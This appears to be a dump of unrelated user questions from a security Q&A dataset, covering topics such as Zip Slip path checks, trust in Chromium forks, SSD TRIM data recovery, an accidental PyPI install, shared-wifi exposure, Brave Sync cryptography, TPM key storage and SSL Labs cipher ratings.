String canonicalDestFile destfile.getCanonicalPath();
if (!canonicalDestFile.startsWith(canonicalDestDirPath + File.separator)) {
throw new ArchiverException("Entry outside of the target dir");
}
This is indeed safe but has the non-ideal side effect that a zip archive containing a file with path ../tmp/file is OK if extracted to /tmp but not anywhere else.
Wouldn't it be more consistent to prevent all path traversals that navigate out of ANY destination?
A more consistent check would allow to reliably mark a zip file as "tainted", independently of where it is going to be extracted.
Consistent checks would be an advantage when validation and extraction happen at a different time in a backend processing pipeline.
Two questions:
why are consistent checks not adopted more widely?
what would be a safe implementation of this stricter Zip Slip check? I was thinking of setting destDir = java.util.UUID.randomUUID().toString() in the above implementation.
|
I finally found a Chromium fork which appears to have made a serious effort to remove all the Google cancer. Sadly, I see this: https://ungoogled-software.github.io/ungoogled-chromium-binaries/
IMPORTANT: These binaries are provided by anyone who are willing to build and submit them. Because these binaries are not necessarily reproducible, authenticity cannot be guaranteed. For your consideration, each download page lists the GitHub user that submitted those binaries.
I just can't see how I would be able to trust this. I'm more than paranoid enough even when they promise that it's super secure and they use a provably safe way to build them and blablabla... but these guys are going out of their way to point out how insecure it is.
I just can't trust this. But it appears to be the only semi-privacy-friendly Chrome fork.
I have zero trust in "Brave" and similar after all their privacy-disrespecting nonsense.
Is there really no way for me to safely view HTML pages in "the biggest rendering engine" on my computer without installing spyware (Chrome and its skins) or likely installing malware? Is there really no "solid" open source project which takes Chromium's code, rips out all the privacy-destroying madness and provides trustworthy binaries?
(Building them locally is not an option, and just the thought of explaining why makes me exhausted. Please don't suggest that.)
|
This article on thomas-krenn.com states:
Because an ATA trim will be performed by NTFS with Windows 7 or when formatting using Ext4 from mke2fs 1.41.10 or XFS from xfsprogs 3.1.0, the secure erase procedure is no longer necessary [...].
From my understanding, the SSD's garbage collector will run some time after the SSD's controller has received the trim command from the operating system, resetting all blocks to zero.
This answer and this article suggest that most controllers of SSDs will return zeros for the trimmed blocks immediately, making it impossible to retrieve data from the formatted SSD with software like testdisk or foremost:
today’s SSD controllers are designed to report a data block empty as soon as the [trim] command is received – even if the actual wipe of that block occurs at a later point. [...] Regardless of the manufacturer, you can say it for a fact that the execution of the TRIM command is a nearly 100% guarantee of file deletion.
Gubanov and Afonin mention in this 2012 paper to physically detach the SSD's controller to prevent the garbage collector from zeroing out the blocks in flash memory but go on to say that the time window for this is small:
most information is lost from an SSD drive in just a few counted minutes after the user deletes a file or issues a quick format command.
On the other hand, Wei et al. write in a footnote that
The ACS-2 draft standard provide a “TRIM” command that informs drive that a range of LBAs is no longer in use, but this does not have any reliable effect on data security.
Is it safe to assume that after formatting an SSD¹, its data is irretrievably deleted? Are there counterexamples where files were restored from the formatted drive?
¹ Given that the formatting program (e.g., mke2fs) sends the trim command and the SSD supports it.
|
While working on packaging my Python app, I attempted to install it locally from the parent directory by typing the following command:
pip install cms/
However, I instead typed the following command:
pip install cms
Which unintentionally installed this package from PyPi. I have looked through the installed source code and there seems to be nothing there. Can I be sure that there was no malicious code executed on my computer?
|
If I use a VM on a laptop which is connected to a work or public wifi, can the host machine be accessed by anyone also connected to wifi?
I'm thinking along the lines of if I were to use my laptop on a public or work wifi to connect either to the internet or to my home network. I'd be using a using a VPN so I'm reasonably confident that the VM connection to internet or home would be secure but what about the host?
The host is connected to the wifi as the guest VM is NAT'd using the host wifi connector so would anyone else on the same network be able to connect to the HDD?
Thanks
|
I'm Studying at a University that has a public network around campus that all students use. This network is even available at the dorms. Since all devices are connected to the same network, is my private information (Banking info, private photos, etc) in danger? Could someone spy on me through my webcam? I found that youtube was streaming to a SMART TV that was connected to the same network without me even allowing it, it just automatically did it.
If I buy a router and connect it to this public network, would my devices be safe then?
I am severely uneducated on the topic, and I am struggling to understand all of the factors that play into network security.
|
I am considering switching over to Brave and maybe also use it's sync feature for settings, and maybe even passwords if it's good enough. I do use a password generator but out of laziness I happen to sometimes store passwords locally.
In their FAQ they state that they use a seed that's then stretched with scrypt(N = 2^13, r = 8, p = 11). This is the first head scratcher. According to C.Percival, the KDFs creator, in 2017(!) 32k iterations should be made, iirc the recommended parameters back then were (N=32768, r=8 or 16, p=1).
Second, they use AES128-CTR-HMAC, which is not listed by SSL Labs best practices.
The question is, does any of this matter? Why, why not? Would you deem Brave Sync secure enough to use for syncing passwords across devices, given that my devices are properly protected and I only sync passwords to accounts that matter less or that have 2FA if they do matter?
EDIT: As has been pointed out, in the comments, there's nothing wrong with AES128-CTR and the scrypt parameters mentioned above were specified in regard to interactive logins, where (usually weaker) user-passwords are hardened instead of a generated seed.
However it still seems weird to me that a task that often requires multiple executions per second(sending packets via TLS) often employs "stronger" encryption schemes(AES-256 GCM has got to be stronger than the suite used, even if it only comes down to the doubled key-size) than this Brave Sync, even though the latter most likely isn't executed that often; maybe only on demand/after a change. Here waiting for 5 seconds to pack/unpack should be easily tolerable. I just don't see why you wouldn't use rather high parameters when sending user's unhashed(!) passwords around.
|
I have read about TPM that these are the secured ways of storing cryptographic keys. I want to know how can I use it. I have an application running on a PC which has TPM. This application has hard coded symmetric key in it.AS the hard coding the keys are not recommended from security point of view , I want to store my encryption key on the TPM. How can I implement it in python.
So how can i use the security features of TPM (1.2) to securely store my key. My application is developed using python. So how can i access TMP to store my symmetric key. Please suggest.
|
I am testing my application SSL configuration in Qualys SSL Labs and as a result, I have this cipher suites labeled as weak:
But according to https://ciphersuite.info/ all of these cipher suites are secure or even recommended.
How should I interpret this? Do you think that all these "weak" cipher suites should be disabled?
Why Qualys labels these cipher suites as weak?
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.